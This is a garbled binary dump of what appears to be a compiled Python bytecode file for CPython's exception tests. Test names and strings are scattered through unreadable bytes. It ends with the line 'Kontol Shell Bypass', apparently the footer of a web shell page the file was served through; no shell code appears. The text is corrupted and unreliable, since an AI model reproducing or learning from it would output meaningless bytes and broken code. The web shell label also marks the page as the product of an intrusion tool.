|�d��Wd�q1s�0YqdS)Nztest messager�z	raise excz<exception str() failed>ri)rCrr$rrH�__excepthook__r��getvaluernrr�r�)rr�r"r��reportrrr�test_unhandled�s 2zExceptionTests.test_unhandledcCsFd}tdd�D]2}t�d||�\}}}|�|d�|�d|�qdS)Nz�if 1:
            import _testcapi
            class C(): pass
            _testcapi.set_nomemory(0, %d)
            C()
        r8rvr<)r8�xsMemoryError)rPrr?rn)rr�rrArBr'rrr�"test_memory_error_in_PyErr_PrintEx�s

z1ExceptionTests.test_memory_error_in_PyErr_PrintExcsxGdd�dt��Gdd�dt����fdd�}|�}|�d�|����|����Wd�n1sj0YdS)Nc@seZdZdS)zBExceptionTests.test_yield_in_nested_try_excepts.<locals>.MainErrorNr�rrrr�	MainError�srjc@seZdZdS)zAExceptionTests.test_yield_in_nested_try_excepts.<locals>.SubErrorNr�rrrr�SubError�srkc3sBz
���Wn2�y<z
dVWn�y4Yn0�Yn0dSrrr�rjrkrr�main�s

z=ExceptionTests.test_yield_in_nested_try_excepts.<locals>.main)rr(rFr)rrm�cororrlr� test_yield_in_nested_try_excepts�s

z/ExceptionTests.test_yield_in_nested_try_exceptscsR�fdd�}|�}zt�Wn"ty<��t|�d�Yn0��t|�d�dS)Nc3s<zt�Wnty dVYn0��t��d�dVdS)Nr8rrs)rCr&rHr�rrrrr�sz?ExceptionTests.test_generator_doesnt_retain_old_exc2.<locals>.gr8rs)r0r&r	)rr�rrrr�%test_generator_doesnt_retain_old_exc2sz4ExceptionTests.test_generator_doesnt_retain_old_exc2cCsfdd�}|�t��@|�}zddWnt|�t|�Yn0Wd�n1sX0YdS)NcssdV�dVdS)Nr8rsrrrrrr�sz1ExceptionTests.test_raise_in_generator.<locals>.gr8r)rFrDr	)rr�rrrr�test_raise_in_generatorsz&ExceptionTests.test_raise_in_generatorTz Won't work if __debug__ is Falsec
CshtazdsJd��WnBtyV}z*b|�|t�|�t|�d�WYd}~nd}~00b|�d�dS)NFZhellor�)rB�AssertionErrorr�r�r&r%rRr�rrr�test_assert_shadowing%s&z$ExceptionTests.test_assert_shadowingcCs�Gdd�dt�}zt�Wn(ty@}z|}WYd}~n
d}~00z|�Wnty\Yn0td�D]8}zt�Wn$ty�}zWYd}~n
d}~00t�qfdS)Nc@seZdZdS)zBExceptionTests.test_memory_error_subclasses.<locals>.TestExceptionNr�rrrr�
TestException>srtr1)r5rrPr)rrtr"�inst�_rrr�test_memory_error_subclasses5s	z+ExceptionTests.test_memory_error_subclassesN)rd)?rrrr(rXrarcrrr�rr�r��unittestZ
skipUnlessrHr�r�r�r�r�r�r�r�r�r�rr�r�r�rrr
rrrrrrr r"r$r'r*r.r0r4r;rCrDrErLrRrYr[r_rcrgrirorprqrsrwrrrrr!"s�
T
A
/'�
~


t

%

:



'




r!c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�ImportErrorTestscCs�td�}|�|j�|�|j�tddd�}|�|jd�|�|j�tddd�}|�|jd�|�|j�tdddd�}|�|jd�|�|jd�d}|�t|��tdd	d
�Wd�n1s�0Y|�t|��tddd	d�Wd�n1�s0Y|�t|��tdd
d	d�Wd�n1�s@0Y|�t|��td	d
�Wd�n1�sx0Y|�t|��tdd	dd�Wd�n1�s�0YdS)N�testZ
somemodule��name�somepath��path�somename)rr|z8'invalid' is an invalid keyword argument for ImportError�keyword)�invalidr|)r|r�r)rr�T)r�Zanother)r/r�r|rr&r�rB)rr"rZrrr�test_attributesVs.*..*z ImportErrorTests.test_attributescCs�tdddd�}|�|jd�|�|jd�|�|jd�|�|jd�|��|�|jd�|�|jd�|�|jd�|�|jd�dS)Nrzr|r�r|r�rzr)r/r&r�rZr|rrr`rrr�test_reset_attributesxsz&ImportErrorTests.test_reset_attributescCsTtdtfdd��0d}t|�}|�t|�t|��Wd�n1sF0YdS)Nr1T)�quietsabc)r�BytesWarningr/r&r%)r�argr"rrr�test_non_str_argument�sz&ImportErrorTests.test_non_str_argumentcCs�t�tdd�tdd�tddd�fD]�}td	i|��}ttjd�D]R}t�t�||��}|�|jd�|�|j	d�|�|j
|j
�|�|j|j�qBtjtj
fD]H}||�}|�|jd�|�|j	d�|�|j
|j
�|�|j|j�q�q"dS)
Nr�r{r}r~r�rzr8r�)rz)�dictr/rPr�r�rMr�r&r�rZr|r�copy�deepcopy)r�kwargsZorig�protor"rUrrr�test_copy_pickle�s$
�z!ImportErrorTests.test_copy_pickleN)rrrr�r�r�r�rrrrryTs"ry�__main__)r��gcr\rHrxr�rr�Ztest.supportrrrrrrrr	r
rrrzr
rrrrZTestCaser!ryrrmrrrr�<module>s44<M

Kontol Shell Bypass